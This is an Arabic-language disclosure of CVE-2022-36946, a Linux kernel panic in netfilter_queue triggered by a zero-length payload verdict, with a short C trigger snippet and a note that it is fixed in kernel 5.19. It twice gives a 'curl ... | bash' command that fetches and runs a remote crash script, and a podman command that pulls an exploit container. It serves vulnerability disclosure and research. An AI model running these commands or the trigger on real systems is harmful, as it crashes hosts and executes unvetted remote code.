
CVE-2022-36946 ذعر نواة لينكس في netfilter_queue
المُبلّغ عنه: دومينغو ديروتيغليانو ونيكولا غيريرا
أثناء عملنا على firegex، جدار الحماية الخاص بالتطبيقات لمسابقات هجوم-دفاع CTF، صادفنا بعض حالات تعطل النواة.
تم بعد ذلك عزل هذا السلوك الغريب وتحليله، مما أدى إلى اكتشاف هذه الثغرة الأمنية المحتملة في وحدة netfilter، وتحديدًا مع nfnetlink.
تتعطل النواة عند إرسال حكم nf_queue مع سمة nfta_payload بحجم 0 بايت.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
يحدث هذا لأن مكدس IP/IPv6 يسحب رأس IP(v6) من الحزمة بعد ربط الإدخال.
لذا، إذا قام المستخدم باقتطاع الحزمة إلى ما دون حجم الرأس، فإن skb_pull() هذا سيؤدي إلى skb غير صحيح مما يؤدي إلى تعطل.
جرّبه بتنفيذ curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash حتى مع مستخدم غير مميز (تفاصيل أكثر أدناه).
باستخدام مساحات أسماء لينكس، ولا سيما مساحات أسماء المستخدم (المفعّلة عبر kernel.unprivileged_userns_clone=1)، يمكن للمستخدم العادي إنشاء مساحة اسم شبكة، مما يتيح له استخدام نفس بدائيات النواة التي تسبب التعطل.
سيسمح لك هذا باستخدام الثغرة دون الحاجة إلى صلاحية الجذر.
هذا السيناريو ليس نادرًا: على سبيل المثال، يستخدم podman هذا الخيار لتشغيل حاوياته (بدون جذر)، وفي بعض التوزيعات يكون هذا الخيار مفعّلاً افتراضيًا.
يمكنك أيضًا محاولة تنفيذ الاستغلال بدون صلاحيات الجذر بتنفيذ:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
أو إذا كنت تريد اختباره فوريًا (يُطلب فقط تثبيت tar و curl):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
تم الإصلاح في نواة لينكس 5.19 عرض الفرق
التصحيح الأصلي من فريق أمان نواة لينكس هنا
اشتغلت في المحاولة السادسة، لذا احتفظنا بالاسم.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing